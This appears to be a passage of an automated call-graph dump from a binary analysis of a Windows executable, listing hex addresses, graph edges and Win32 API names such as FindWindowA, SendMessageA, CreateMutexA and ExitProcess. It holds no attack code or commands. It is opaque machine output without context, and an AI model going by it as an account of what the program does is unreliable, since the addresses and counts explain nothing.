403548 4 API calls 47224->47225 47227 41a4df SelectObject 47225->47227 47231 403668 47226->47231 47227->47221 47229 41a483 47230 41a4bb CreateFontIndirectA 47229->47230 47230->47224 47232 403628 18 API calls 47231->47232 47233 403672 47232->47233 47233->47229 47236 45ef6f 47234->47236 47235 45f04a 47245 460c98 47235->47245 47236->47235 47240 45efbf 47236->47240 47257 421c34 47236->47257 47237 45f002 47237->47235 47263 4187d0 21 API calls 47237->47263 47240->47237 47241 45f004 47240->47241 47242 45eff9 47240->47242 47244 421c34 21 API calls 47241->47244 47243 421c34 21 API calls 47242->47243 47243->47237 47244->47237 47246 460cc8 47245->47246 47247 460ca9 47245->47247 47246->46048 47248 414d30 18 API calls 47247->47248 47249 460cb7 47248->47249 47250 414d30 18 API calls 47249->47250 47250->47246 47254 463d47 47251->47254 47252 421c34 21 API calls 47253 463d93 47252->47253 47253->46074 47256 46075c 32 API calls 47253->47256 47254->47252 47255->46051 47256->46074 47258 421c8c 47257->47258 47260 421c42 47257->47260 47258->47240 47259 421c71 47259->47258 47272 421f40 SetFocus GetFocus 47259->47272 47260->47259 47264 408ea0 47260->47264 47263->47235 47265 408eac 47264->47265 47273 406e88 LoadStringA 47265->47273 47268 403598 18 API calls 47269 408edd 47268->47269 47270 403548 4 API calls 47269->47270 47271 408ef2 47270->47271 47271->47259 47272->47258 47274 403628 18 API calls 47273->47274 47275 406eb5 47274->47275 47275->47268 47277 465481 47276->47277 47278 4654ce 47277->47278 47279 414d00 18 API calls 47277->47279 47280 403568 4 API calls 47278->47280 47281 465497 47279->47281 47282 465578 47280->47282 47471 4604f8 20 API calls 47281->47471 47282->46089 47456 408dc4 19 API calls 47282->47456 47284 46549f 47285 414d30 18 API calls 47284->47285 47286 4654ad 47285->47286 47287 4654ba 47286->47287 47289 4654d3 47286->47289 47472 473bcc 53 API calls 47287->47472 47290 4654eb 47289->47290 47473 4605dc CharNextA 47289->47473 47474 473bcc 53 API calls 47290->47474 47293 4654e7 47293->47290 47294 465501 47293->47294 47295 465507 47294->47295 47296 46551d 47294->47296 47475 473bcc 53 API calls 47295->47475 47476 42ca88 CharNextA 47296->47476 47299 46552a 47299->47278 47477 460668 18 API calls 47299->47477 47301 465541 47302 450c5c 18 API calls 47301->47302 47303 46554e 47302->47303 47478 473bcc 53 API calls 47303->47478 47306 424405 SetActiveWindow 47305->47306 47311 42443b 47305->47311 47479 423864 47306->47479 47310 424422 47310->47311 47312 424435 SetFocus 47310->47312 47311->46105 47311->46106 47312->47311 47314 476d63 47313->47314 47316 476d91 47313->47316 47315 487508 32 API calls 47314->47315 47315->47316 47317 46d0b4 47316->47317 47492 455814 47317->47492 47321 46d10a 47513 466b84 47321->47513 47326 4717f8 48 API calls 47327 46d15e 47326->47327 47330 46d16e 47327->47330 47966 451afc 18 API calls 47327->47966 47329 46d185 47523 46ebf4 47329->47523 47330->47329 47967 451afc 18 API calls 47330->47967 47457->46101 47471->47284 47472->47278 47473->47293 47474->47278 47475->47278 47476->47299 47477->47301 47478->47278 47488 423810 SystemParametersInfoA 47479->47488 47482 42387d ShowWindow 47483 423888 47482->47483 47484 42388f 47482->47484 47491 423840 SystemParametersInfoA 47483->47491 47487 423d2c LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 47484->47487 47487->47310 47489 42382e 47488->47489 47489->47482 47490 423840 SystemParametersInfoA 47489->47490 47490->47482 47491->47484 47493 455974 47492->47493 47494 455840 GetLocalTime 47492->47494 47495 455985 47493->47495 47982 4551ac 20 API calls 47493->47982 47496 407b08 33 API calls 47494->47496 47498 403548 4 API calls 47495->47498 47499 4558af 47496->47499 47501 45599a 47498->47501 47973 4557f8 36 API calls 47499->47973 47510 407488 47501->47510 47503 455900 47504 45592a 47503->47504 47509 45023c 36 API calls 47503->47509 47981 4557f8 36 API calls 47504->47981 47506 4558b7 47506->47503 47974 45023c WriteFile 47506->47974 47980 4557f8 36 API calls 47506->47980 47507 455934 47507->47493 47509->47504 47985 403880 47510->47985 47514 466bab 47513->47514 47515 466c28 47514->47515 47516 46f3a4 33 API calls 47514->47516 47987 44f7c8 47515->47987 47516->47514 47519 456e64 47520 456e6a 47519->47520 47521 4570f4 4 API calls 47520->47521 47522 456e86 47521->47522 47522->47326 47524 4035dc 4 API calls 47523->47524 47966->47330 47967->47329 47973->47506 47975 450263 47974->47975 47976 45025c 47974->47976 47978 450274 47975->47978 47984 450078 34 API calls 47975->47984 47983 450118 35 API calls 47976->47983 47978->47506 47980->47506 47981->47507 47982->47495 47983->47975 47984->47978 47986 403884 SetCurrentDirectoryA 47985->47986 47986->47321 47990 44f7dc 47987->47990 47991 44f7ed 47990->47991 47992 44f80e MulDiv 47991->47992 47993 44f7d9 47991->47993 47996 4183f8 47992->47996 47993->47519 47995 44f839 SendMessageA 47995->47993 47997 418402 47996->47997 47997->47995 49147 487188 49146->49147 49155 43413c 49147->49155 49149 48718d 49158 4311d8 49149->49158 49152->46173 49153->46175 49154->46162 49156 402650 18 API calls 49155->49156 49157 43414b 49156->49157 49157->49149 49159 4311e6 49158->49159 49160 4311f8 49158->49160 49164 402680 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 49159->49164 49162 43121a 49160->49162 49165 431178 18 API calls 49160->49165 49162->46170 49164->49160 49165->49162 49166 4488ec 49167 448921 49166->49167 49168 44891a 49166->49168 49169 448940 49167->49169 49170 44892a 49167->49170 49171 403548 4 API calls 49168->49171 49173 4035dc 4 API calls 49169->49173 49212 44872c 20 API calls 49170->49212 49174 448acb 49171->49174 49176 44894e 49173->49176 49175 448935 49175->49169 49177 448939 49175->49177 49178 403900 18 API calls 49176->49178 49177->49168 49179 44896a 49178->49179 49180 403900 18 API calls 49179->49180 49181 448986 49180->49181 49181->49168 49182 44899a 49181->49182 49183 403900 18 API calls 49182->49183 49184 4489b4 49183->49184 49185 431108 18 API calls 49184->49185 49187 4489d6 49185->49187 49186 4489f6 49189 448a34 49186->49189 49213 4437f0 18 API calls 49186->49213 49187->49186 49188 4311d8 18 API calls 49187->49188 49188->49187 49190 448a4c 49189->49190 49214 4437f0 18 API calls 49189->49214 49201 442554 49190->49201 49194 448a80 GetLastError 49215 4486c0 18 API calls 49194->49215 49196 448a8f 49216 443830 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 49196->49216 49198 448aa4 49217 443840 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 49198->49217 49200 448aac 49202 443532 49201->49202 49203 44258d 49201->49203 49204 403548 4 API calls 49202->49204 49205 403548 4 API calls 49203->49205 49206 443547 49204->49206 49207 442595 49205->49207 49206->49194 49208 431108 18 API calls 49207->49208 49210 4425a1 49208->49210 49209 443522 49209->49194 49210->49209 49218 441c2c 18 API calls 49210->49218 49212->49175 49213->49186 49214->49190 49215->49196 49216->49198 49217->49200 49218->49210 49219 40d108 49220 40d115 49219->49220 49221 40d11a 49219->49221 49223 406fe4 CloseHandle 49220->49223 49223->49221 49224 47430c 49225 42c614 19 API calls 49224->49225 49226 474338 49225->49226 49227 403708 18 API calls 49226->49227 49228 474348 49227->49228 49243 471e28 49228->49243 49230 474355 49231 42e324 2 API calls 49230->49231 49232 47436c 49231->49232 49233 47439f 49232->49233 49234 407b08 33 API calls 49232->49234 49251 459948 6CAA5550 6CAA5550 6CAA5550 49233->49251 49237 474397 49234->49237 49236 4743a9 49238 4743b7 49236->49238 49252 451afc 18 API calls 49236->49252 49250 451afc 18 API calls 49237->49250 49241 403568 4 API calls 49238->49241 49242 4743d1 49241->49242 49253 40d1a8 49243->49253 49245 471e5d 49246 403568 4 API calls 49245->49246 49247 471eed 49246->49247 49248 403548 4 API calls 49247->49248 49249 471ef5 49248->49249 49249->49230 49250->49233 49251->49236 49252->49238 49258 40d058 49253->49258 49255 40d1c2 49269 40d190 49255->49269 49257 40d1dd 49257->49245 49259 40d065 49258->49259 49260 40d081 49259->49260 49261 40d0b6 49259->49261 49273 406f5c 49260->49273 49277 406f1c 6CAA5CA0 49261->49277 49264 40d088 49266 40d0af 49264->49266 49276 408f10 33 API calls 49264->49276 49265 40d0c0 49265->49266 49278 408f10 33 API calls 49265->49278 49266->49255 49270 40d1a4 49269->49270 49271 40d198 49269->49271 49270->49257 49279 40cec0 19 API calls 49271->49279 49274 403880 49273->49274 49275 406f78 6CAA5CA0 49274->49275 49275->49264 49276->49266 49277->49265 49278->49266 49279->49270 49280 44b048 49281 44b04e 49280->49281 49286 415b64 49281->49286 49283 44b063 49284 44b1f8 23 API calls 49283->49284 49285 44b09a 49284->49285 49287 415b6e 49286->49287 49296 4144f4 49287->49296 49291 415b8f 49305 41a7fc 49291->49305 49297 4144fe 49296->49297 49313 410438 49297->49313 49302 41f5dc 49303 41f61a 49302->49303 49304 41f5ec VirtualAlloc 49302->49304 49303->49291 49304->49303 49306 41a802 49305->49306 49307 419d74 18 API calls 49306->49307 49308 415ba1 49307->49308 49309 41a8c4 49308->49309 49310 41a8d6 49309->49310 49326 41a8ac 49310->49326 49314 41043f 49313->49314 49315 410462 49314->49315 49321 4105d0 19 API calls 49314->49321 49317 41a2fc 49315->49317 49318 41a302 49317->49318 49322 419d74 49318->49322 49320 41452a 49320->49302 49321->49315 49323 419d87 49322->49323 49324 402650 18 API calls 49323->49324 49325 419dbc 49323->49325 49324->49325 49325->49320 49329 419e40 49326->49329 49330 419d74 18 API calls 49329->49330 49331 419e59 49330->49331 49334 419df0 49331->49334 49335 415bb3 49334->49335 49336 419dfa 49334->49336 49335->49283 49336->49335 49337 419e12 49336->49337 49338 419e0c DeleteObject 49336->49338 49339 402668 4 API calls 49337->49339 49338->49337 49339->49335 49340 4851c4 49341 4851f8 49340->49341 49342 4851fa 49341->49342 49343 48520e 49341->49343 49486 44719c 32 API calls 49342->49486 49346 48524a 49343->49346 49347 48521d 49343->49347 49345 485203 Sleep 49407 485245 49345->49407 49352 485259 49346->49352 49353 485286 49346->49353 49476 4471f8 49347->49476 49348 403568 4 API calls 49350 4856b8 49348->49350 49351 48522c 49355 485234 FindWindowA 49351->49355 49354 4471f8 32 API calls 49352->49354 49358 4852dc 49353->49358 49359 485295 49353->49359 49356 485266 49354->49356 49480 447478 49355->49480 49360 48526e FindWindowA 49356->49360 49365 4852eb 49358->49365 49369 485338 49358->49369 49487 44719c 32 API calls 49359->49487 49362 447478 19 API calls 49360->49362 49387 485281 49362->49387 49363 4852a1 49488 44719c 32 API calls 49363->49488 49491 44719c 32 API calls 49365->49491 49366 4852ae 49489 44719c 32 API calls 49366->49489 49372 485394 49369->49372 49373 485347 49369->49373 49370 4852f7 49492 44719c 32 API calls 49370->49492 49371 4852bb 49490 44719c 32 API calls 49371->49490 49383 4853ce 49372->49383 49384 4853a3 49372->49384 49496 44719c 32 API calls 49373->49496 49377 485304 49493 44719c 32 API calls 49377->49493 49379 4852c6 SendMessageA 49382 447478 19 API calls 49379->49382 49380 485353 49497 44719c 32 API calls 49380->49497 49381 485311 49494 44719c 32 API calls 49381->49494 49382->49387 49393 48541c 49383->49393 49394 4853dd 49383->49394 49388 4471f8 32 API calls 49384->49388 49387->49407 49391 4853b0 49388->49391 49389 485360 49498 44719c 32 API calls 49389->49498 49390 48531c PostMessageA 49495 4472d0 19 API calls 49390->49495 49399 4853b8 RegisterClipboardFormatA 49391->49399 49405 48542b 49393->49405 49406 485470 49393->49406 49501 44719c 32 API calls 49394->49501 49396 48536d 49499 44719c 32 API calls 49396->49499 49402 447478 19 API calls 49399->49402 49400 485378 SendNotifyMessageA 49500 4472d0 19 API calls 49400->49500 49401 4853e9 49502 44719c 32 API calls 49401->49502 49402->49407 49504 44719c 32 API calls 49405->49504 49414 48547f 49406->49414 49415 4854c4 49406->49415 49407->49348 49408 4853f6 49503 44719c 32 API calls 49408->49503 49411 485437 49505 44719c 32 API calls 49411->49505 49413 485401 SendMessageA 49417 447478 19 API calls 49413->49417 49508 44719c 32 API calls 49414->49508 49422 4854d3 49415->49422 49423 485526 49415->49423 49416 485444 49506 44719c 32 API calls 49416->49506 49417->49387 49420 48548b 49509 44719c 32 API calls 49420->49509 49421 48544f PostMessageA 49507 4472d0 19 API calls 49421->49507 49426 4471f8 32 API calls 49422->49426 49430 4855ad 49423->49430 49431 485535 49423->49431 49428 4854e0 49426->49428 49427 485498 49510 44719c 32 API calls 49427->49510 49432 42e324 2 API calls 49428->49432 49441 4855bc 49430->49441 49442 4855e2 49430->49442 49435 4471f8 32 API calls 49431->49435 49436 4854ed 49432->49436 49433 4854a3 SendNotifyMessageA 49511 4472d0 19 API calls 49433->49511 49437 485544 49435->49437 49438 485503 GetLastError 49436->49438 49439 4854f3 49436->49439 49512 44719c 32 API calls 49437->49512 49443 447478 19 API calls 49438->49443 49440 447478 19 API calls 49439->49440 49444 485501 49440->49444 49517 44719c 32 API calls 49441->49517 49450 4855f1 49442->49450 49451 485614 49442->49451 49443->49444 49446 447478 19 API calls 49444->49446 49446->49407 49448 4855c6 FreeLibrary 49518 4472d0 19 API calls 49448->49518 49453 4471f8 32 API calls 49450->49453 49459 485623 49451->49459 49465 485657 49451->49465 49452 485557 6CAA5550 49454 48559d 49452->49454 49455 485563 49452->49455 49456 4855fd 49453->49456 49516 4472d0 19 API calls 49454->49516 49513 44719c 32 API calls 49455->49513 49461 485605 CreateMutexA 49456->49461 49462 4471f8 32 API calls 49459->49462 49460 48556f 49514 44719c 32 API calls 49460->49514 49461->49407 49467 48562f 49462->49467 49464 48557c 49468 447478 19 API calls 49464->49468 49465->49407 49466 4471f8 32 API calls 49465->49466 49473 485672 49466->49473 49469 485640 OemToCharBuffA 49467->49469 49470 48558d 49468->49470 49519 44754c 19 API calls 49469->49519 49515 4472d0 19 API calls 49470->49515 49474 485683 CharToOemBuffA 49473->49474 49520 44754c 19 API calls 49474->49520 49477 447200 49476->49477 49521 4363e0 49477->49521 49479 44721f 49479->49351 49481 447480 49480->49481 49544 436748 VariantClear 49481->49544 49483 4474a3 49484 4474ba 49483->49484 49545 408df0 18 API calls 49483->49545 49484->49407 49486->49345 49487->49363 49488->49366 49489->49371 49490->49379 49491->49370 49492->49377 49493->49381 49494->49390 49495->49387 49496->49380 49497->49389 49498->49396 49499->49400 49500->49407 49501->49401 49502->49408 49503->49413 49504->49411 49505->49416 49506->49421 49507->49387 49508->49420 49509->49427 49510->49433 49511->49407 49512->49452 49513->49460 49514->49464 49515->49407 49516->49407 49517->49448 49518->49407 49519->49407 49520->49407 49522 4363ec 49521->49522 49537 43640e 49521->49537 49522->49537 49541 408df0 18 API calls 49522->49541 49523 436491 49543 408df0 18 API calls 49523->49543 49526 436461 49533 403658 18 API calls 49526->49533 49527 436455 49532 403658 18 API calls 49527->49532 49528 436485 49542 404238 32 API calls 49528->49542 49529 436479 49535 4035dc 4 API calls 49529->49535 49531 4364a2 49531->49479 49539 43645e 49532->49539 49540 43646a 49533->49540 49534 43646d 49534->49479 49536 436482 49535->49536 49536->49479 49537->49523 49537->49526 49537->49527 49537->49528 49537->49529 49537->49534 49538 43648e 49538->49479 49539->49479 49540->49479 49541->49537 49542->49538 49543->49531 49544->49483 49545->49484 49546 4415b4 49547 4415bd 49546->49547 49548 4415cb ExitProcess 49546->49548 49547->49548 49549 4415d6 49548->49549 49550 41fd70 49551 41fd79 49550->49551 49554 420014 49551->49554 49553 41fd86 49555 420106 49554->49555 49556 42002b 49554->49556 49555->49553 49556->49555 49575 41fbd4 GetWindowLongA GetSystemMetrics GetSystemMetrics GetWindowLongA 49556->49575 49558 420061 49559 420065 49558->49559 49560 42008b 49558->49560 49576 41fdb4 49559->49576 49585 41fbd4 GetWindowLongA GetSystemMetrics GetSystemMetrics GetWindowLongA 49560->49585 49564 420099 49566 4200c3 49564->49566 49567 42009d 49564->49567 49565 41fdb4 10 API calls 49569 420089 49565->49569 49568 41fdb4 10 API calls 49566->49568 49570 41fdb4 10 API calls 49567->49570 49571 4200d5 49568->49571 49569->49553 49572 4200af 49570->49572 49573 41fdb4 10 API calls 49571->49573 49574 41fdb4 10 API calls 49572->49574 49573->49569 49574->49569 49575->49558 49577 41fdcf 49576->49577 49578 41fde5 49577->49578 49579 41fb54 4 API calls 49577->49579 49586 41fb54 49578->49586 49579->49578 49581 41fe2d 49582 41fe50 SetScrollInfo 49581->49582 49594 41fcb4 49582->49594 49585->49564 49587 4183f8 49586->49587 49588 41fb71 GetWindowLongA 49587->49588 49589 41fbae 49588->49589 49590 41fb8e 49588->49590 49606 41fae0 GetWindowLongA GetSystemMetrics GetSystemMetrics 49589->49606 49605 41fae0 GetWindowLongA GetSystemMetrics GetSystemMetrics 49590->49605 49593 41fb9a 49593->49581 49595 41fcc2 49594->49595 49596 41fcca 49594->49596 49595->49565 49597 41fd09 49596->49597 49598 41fcf9 49596->49598 49603 41fd07 49596->49603 49608 418060 IsWindowVisible ScrollWindow SetWindowPos 49597->49608 49607 418060 IsWindowVisible ScrollWindow SetWindowPos 49598->49607 49600 41fd49 GetScrollPos 49600->49595 49602 41fd54 49600->49602 49604 41fd63 SetScrollPos 49602->49604 49603->49600 49604->49595 49605->49593 49606->49593 49607->49603 49608->49603 49609 4753d6 49614 450830 49609->49614 49611 4753ea 49632 47443c 49611->49632 49613 47540e 49615 45083d 49614->49615 49616 45012c 37 API calls 49615->49616 49617 450866 49616->49617 49618 45087a 49617->49618 49619 45012c 37 API calls 49617->49619 49621 450890 49618->49621 49638 408df0 18 API calls 49618->49638 49619->49618 49622 45076c InterlockedExchange 49621->49622 49623 4508a2 49622->49623 49624 4508b8 49623->49624 49639 408df0 18 API calls 49623->49639 49625 44ffe4 37 API calls 49624->49625 49627 4508c7 49625->49627 49628 45001c 37 API calls 49627->49628 49630 4508dc 49628->49630 49629 4508fc 49629->49611 49630->49629 49640 408df0 18 API calls 49630->49640 49641 40b7d0 49632->49641 49634 47449d 49634->49613 49635 406a40 18 API calls 49637 47445c 49635->49637 49637->49634 49637->49635 49645 46dab0 49637->49645 49638->49621 49639->49624 49640->49629 49642 40b7db 49641->49642 49643 40b7fb 49642->49643 49656 402680 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 49642->49656 49643->49637 49646 46db24 49645->49646 49649 46dade 49645->49649 49657 450ac0 49646->49657 49648 46db38 49650 403548 4 API calls 49648->49650 49649->49646 49651 403628 18 API calls 49649->49651 49653 40388c 18 API calls 49649->49653 49654 403598 18 API calls 49649->49654 49655 450ac0 40 API calls 49649->49655 49652 46db4d 49650->49652 49651->49649 49652->49637 49653->49649 49654->49649 49655->49649 49656->49643 49658 450ad0 49657->49658 49659 450adb 49657->49659 49664 45a5f0 35 API calls 49658->49664 49665 450a64 38 API calls 49659->49665 49661 450ae6 49663 450ad9 49661->49663 49666 408df0 18 API calls 49661->49666 49663->49648 49664->49663 49665->49661 49666->49663 49667 453637 CloseHandle 49668 453646 WaitForInputIdle 49667->49668 49669 453651 49667->49669 49668->49669 49670 453677 GetExitCodeProcess CloseHandle 49669->49670 49671 453660 MsgWaitForMultipleObjects 49669->49671 49672 45368d 49670->49672 49671->49669 49671->49670 49673 403568 4 API calls 49672->49673 49674 4536a7 49673->49674 49675 403548 4 API calls 49674->49675 49676 4536af 49675->49676 49677 403548 4 API calls 49676->49677 49678 4536b7 49677->49678 49679 4207b0 49680 4207c3 49679->49680 49700 415d48 49680->49700 49682 42090a 49683 420921 49682->49683 49707 4148ec KiUserCallbackDispatcher 49682->49707 49687 420938 49683->49687 49708 414930 KiUserCallbackDispatcher 49683->49708 49684 4207fe 49684->49682 49685 420869 49684->49685 49692 42085a MulDiv 49684->49692 49705 420a60 34 API calls 49685->49705 49693 42095a 49687->49693 49709 420278 12 API calls 49687->49709 49690 420882 49690->49682 49706 420278 12 API calls 49690->49706 49704 41a51c 19 API calls 49692->49704 49696 42089f 49697 4208bb MulDiv 49696->49697 49698 4208de 49696->49698 49697->49698 49698->49682 49699 4208e7 MulDiv 49698->49699 49699->49682 49701 415d5a 49700->49701 49710 414688 49701->49710 49703 415d72 49703->49684 49704->49685 49705->49690 49706->49696 49707->49683 49708->49687 49709->49693 49711 4146a2 49710->49711 49714 410860 49711->49714 49713 4146b8 49713->49703 49717 40e0ac 49714->49717 49716 410866 49716->49713 49718 40e10e 49717->49718 49719 40e0bf 49717->49719 49724 40e11c 49718->49724 49722 40e11c 33 API calls 49719->49722 49723 40e0e9 49722->49723 49723->49716 49725 40e12c 49724->49725 49727 40e142 49725->49727 49736 40d9e8 49725->49736 49756 40e4a4 19 API calls 49725->49756 49739 40e354 49727->49739 49730 40d9e8 19 API calls 49731 40e14a 49730->49731 49731->49730 49732 40e1b6 49731->49732 49742 40df68 49731->49742 49733 40e354 19 API calls 49732->49733 49735 40e118 49733->49735 49735->49716 49757 40ee10 49736->49757 49765 40d8c4 49739->49765 49774 40e35c 49742->49774 49747 40ed74 19 API calls 49748 40dfb1 49747->49748 49749 40dfc3 49748->49749 49750 40dfcc 49748->49750 49755 40dfc9 49748->49755 49793 40ded0 33 API calls 49749->49793 49790 40dde0 49750->49790 49753 403568 4 API calls 49754 40e097 49753->49754 49754->49731 49755->49753 49756->49725 49760 40db88 49757->49760 49763 40db93 49760->49763 49761 40d9f2 49761->49725 49763->49761 49764 40dbd4 19 API calls 49763->49764 49764->49763 49766 40ee10 19 API calls 49765->49766 49767 40d8d1 49766->49767 49768 40d8e4 49767->49768 49772 40ef14 19 API calls 49767->49772 49768->49731 49770 40d8df 49773 40d860 19 API calls 49770->49773 49772->49770 49773->49768 49794 40db6c 49774->49794 49777 40df9b 49781 40ed74 49777->49781 49778 40ee10 19 API calls 49779 40e380 49778->49779 49779->49777 49797 40e2e0 19 API calls 49779->49797 49782 40db88 19 API calls 49781->49782 49783 40ed89 49782->49783 49784 403628 18 API calls 49783->49784 49785 40ed97 49784->49785 49786 40388c 18 API calls 49785->49786 49787 40ed9e 49786->49787 49788 40db88 19 API calls 49787->49788 49789 40dfa6 49788->49789 49789->49747 49798 40af84 33 API calls 49790->49798 49792 40de08 49792->49755 49793->49755 49795 40ee10 19 API calls 49794->49795 49796 40db76 49795->49796 49796->49777 49796->49778 49797->49777 49798->49792 49799 413854 SetWindowLongA GetWindowLongA 49800 4138b1 SetPropA SetPropA 49799->49800 49801 413893 GetWindowLongA 49799->49801 49806 41f5b4 49800->49806 49801->49800 49802 4138a2 SetWindowLongA 49801->49802 49802->49800 49811 423e24 49806->49811 49905 423c9c 49806->49905 49912 415488 49806->49912 49807 413901 49816 423e5a 49811->49816 49814 423f04 49819 423f0b 49814->49819 49820 423f3f 49814->49820 49815 423ea5 49817 423eab 49815->49817 49818 423f68 49815->49818 49837 423e7b 49816->49837 49919 423d80 49816->49919 49821 423eb0 49817->49821 49822 423edd 49817->49822 49825 423f83 49818->49825 49826 423f7a 49818->49826 49827 423f11 49819->49827 49866 4241c9 49819->49866 49823 4242b2 IsIconic 49820->49823 49824 423f4a 49820->49824 49831 423eb6 49821->49831 49832 42400e 49821->49832 49822->49837 49854 423ef6 49822->49854 49855 424057 49822->49855 49828 4242c6 GetFocus 49823->49828 49823->49837 49833 423f53 49824->49833 49834 4242ee 49824->49834 49925 4243ac 11 API calls 49825->49925 49835 423f90 49826->49835 49836 423f81 49826->49836 49829 42412b SendMessageA 49827->49829 49830 423f1f 49827->49830 49828->49837 49842 4242d7 49828->49842 49829->49837 49830->49837 49856 423ed8 49830->49856 49857 42416e 49830->49857 49843 424036 PostMessageA 49831->49843 49844 423ebf 49831->49844 49930 423d9c NtdllDefWindowProc_A 49832->49930 49840 424305 49833->49840 49833->49856 49947 424a68 WinHelpA PostMessageA 49834->49947 49841 4243f4 11 API calls 49835->49841 49926 423d9c NtdllDefWindowProc_A 49836->49926 49837->49807 49852 424323 49840->49852 49853 42430e 49840->49853 49841->49837 49946 41f20c GetCurrentThreadId 72E5AC10 49842->49946 49936 423d9c NtdllDefWindowProc_A 49843->49936 49849 423ec8 49844->49849 49850 4240bd 49844->49850 49860 423ed1 49849->49860 49861 423fe6 IsIconic 49849->49861 49862 4240c6 49850->49862 49863 4240f7 49850->49863 49851 424051 49851->49837 49954 424744 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SendMessageA 49852->49954 49948 4246ec 49853->49948 49854->49856 49865 424023 49854->49865 49923 423d9c NtdllDefWindowProc_A 49855->49923 49856->49837 49924 423d9c NtdllDefWindowProc_A 49856->49924 49857->49837 49892 424190 IsWindowEnabled 49857->49892 49859 4242de 49859->49837 49872 4242e6 SetFocus 49859->49872 49860->49856 49873 423fa9 49860->49873 49875 424002 49861->49875 49876 423ff6 49861->49876 49938 423d2c LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 49862->49938 49941 423d9c NtdllDefWindowProc_A 49863->49941 49931 424390 49865->49931 49866->49837 49882 4241ef IsWindowEnabled 49866->49882 49871 42405d 49879 42409b 49871->49879 49880 424079 49871->49880 49872->49837 49873->49837 49927 422e64 ShowWindow PostMessageA PostQuitMessage 49873->49927 49929 423d9c NtdllDefWindowProc_A 49875->49929 49928 423dd8 29 API calls 49876->49928 49886 423c9c 6 API calls 49879->49886 49937 423d2c LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 49880->49937 49881 4240ce 49888 4240e0 49881->49888 49939 41f170 6 API calls 49881->49939 49882->49837 49889 4241fd 49882->49889 49883 4240fd 49884 424115 49883->49884 49942 41f0bc GetCurrentThreadId 72E5AC10 49883->49942 49891 423c9c 6 API calls 49884->49891 49894 4240a3 PostMessageA 49886->49894 49940 423d9c NtdllDefWindowProc_A 49888->49940 49897 424204 IsWindowVisible 49889->49897 49891->49837 49892->49837 49898 42419e 49892->49898 49893 424081 PostMessageA 49893->49837 49894->49837 49897->49837 49899 424212 GetFocus 49897->49899 49943 412528 21 API calls 49898->49943 49901 4183f8 49899->49901 49902 424227 SetFocus 49901->49902 49944 415458 49902->49944 49906 423d25 49905->49906 49907 423cac 49905->49907 49906->49807 49907->49906 49908 423cb2 EnumWindows 49907->49908 49908->49906 49909 423cce GetWindow GetWindowLongA 49908->49909 50033 423c34 GetWindow 49908->50033 49910 423ced 49909->49910 49910->49906 49911 423d19 SetWindowPos 49910->49911 49911->49906 49911->49910 49913 415495 49912->49913 49914 4154f0 49913->49914 49915 4154fb 49913->49915 49918 4154f9 49913->49918 49914->49918 50037 415274 60 API calls 49914->50037 50036 424da4 13 API calls 49915->50036 49918->49807 49920 423d95 49919->49920 49921 423d8a 49919->49921 49920->49814 49920->49815 49921->49920 49955 408904 GetSystemDefaultLCID 49921->49955 49923->49871 49924->49837 49925->49837 49926->49837 49927->49837 49928->49837 49929->49837 49930->49837 50018 41dd48 49931->50018 49934 4243a8 49934->49837 49935 42439c LoadIconA 49935->49934 49936->49851 49937->49893 49938->49881 49939->49888 49940->49837 49941->49883 49942->49884 49943->49837 49945 415473 SetFocus 49944->49945 49945->49837 49946->49859 49947->49851 49949 424712 49948->49949 49950 4246f8 49948->49950 49952 402650 18 API calls 49949->49952 49951 4246ff SendMessageA 49950->49951 49953 424727 49950->49953 49951->49953 49952->49953 49953->49837 49954->49851 50010 40874c GetLocaleInfoA 49955->50010 49958 403598 18 API calls 49959 408944 49958->49959 49960 40874c 19 API calls 49959->49960 49961 408959 49960->49961 49962 40874c 19 API calls 49961->49962 49963 40897d 49962->49963 50016 408798 GetLocaleInfoA 49963->50016 49966 408798 GetLocaleInfoA 49967 4089ad 49966->49967 49968 40874c 19 API calls 49967->49968 49969 4089c7 49968->49969 49970 408798 GetLocaleInfoA 49969->49970 49971 4089e4 49970->49971 49972 40874c 19 API calls 49971->49972 49973 4089fe 49972->49973 49974 403598 18 API calls 49973->49974 49975 408a0b 49974->49975 49976 40874c 19 API calls 49975->49976 49977 408a20 49976->49977 49978 403598 18 API calls 49977->49978 49979 408a2d 49978->49979 49980 408798 GetLocaleInfoA 49979->49980 49981 408a3b 49980->49981 49982 40874c 19 API calls 49981->49982 49983 408a55 49982->49983 49984 403598 18 API calls 49983->49984 49985 408a62 49984->49985 49986 40874c 19 API calls 49985->49986 49987 408a77 49986->49987 49988 403598 18 API calls 49987->49988 49989 408a84 49988->49989 49990 40874c 19 API calls 49989->49990 49991 408a99 49990->49991 49992 408ab6 49991->49992 49993 408aa7 49991->49993 49995 4035dc 4 API calls 49992->49995 49994 4035dc 4 API calls 49993->49994 49996 408ab4 49994->49996 49995->49996 49997 40874c 19 API calls 49996->49997 49998 408ad8 49997->49998 49999 408af5 49998->49999 50000 408ae6 49998->50000 50002 403548 4 API calls 49999->50002 50001 4035dc 4 API calls 50000->50001 50003 408af3 50001->50003 50002->50003 50004 40377c 18 API calls 50003->50004 50005 408b17 50004->50005 50006 40377c 18 API calls 50005->50006 50007 408b31 50006->50007 50008 403568 4 API calls 50007->50008 50009 408b4b 50008->50009 50009->49920 50011 408773 50010->50011 50012 408785 50010->50012 50013 403628 18 API calls 50011->50013 50014 4035dc 4 API calls 50012->50014 50015 408783 50013->50015 50014->50015 50015->49958 50017 4087b4 50016->50017 50017->49966 50021 41dd6c 50018->50021 50022 41dd52 50021->50022 50023 41dd79 50021->50023 50022->49934 50022->49935 50023->50022 50030 40ce88 19 API calls 50023->50030 50025 41dd96 50025->50022 50026 41ddb0 50025->50026 50027 41dda3 50025->50027 50031 41bfa4 25 API calls 50026->50031 50032 41b5a0 19 API calls 50027->50032 50030->50025 50031->50022 50032->50022 50034 423c55 GetWindowLongA 50033->50034 50035 423c61 50033->50035 50034->50035 50036->49918 50037->49918 50038 414894 KiUserCallbackDispatcher 50039 451710 50040 451338 2 API calls 50039->50040 50042 451729 50040->50042 50041 45172d 50042->50041 50043 451751 6CAA6060 GetLastError 50042->50043 50044 451374 Wow64RevertWow64FsRedirection 50043->50044 50045 451777 50044->50045 50046 416d5a 50047 416e02 50046->50047 50048 416d72 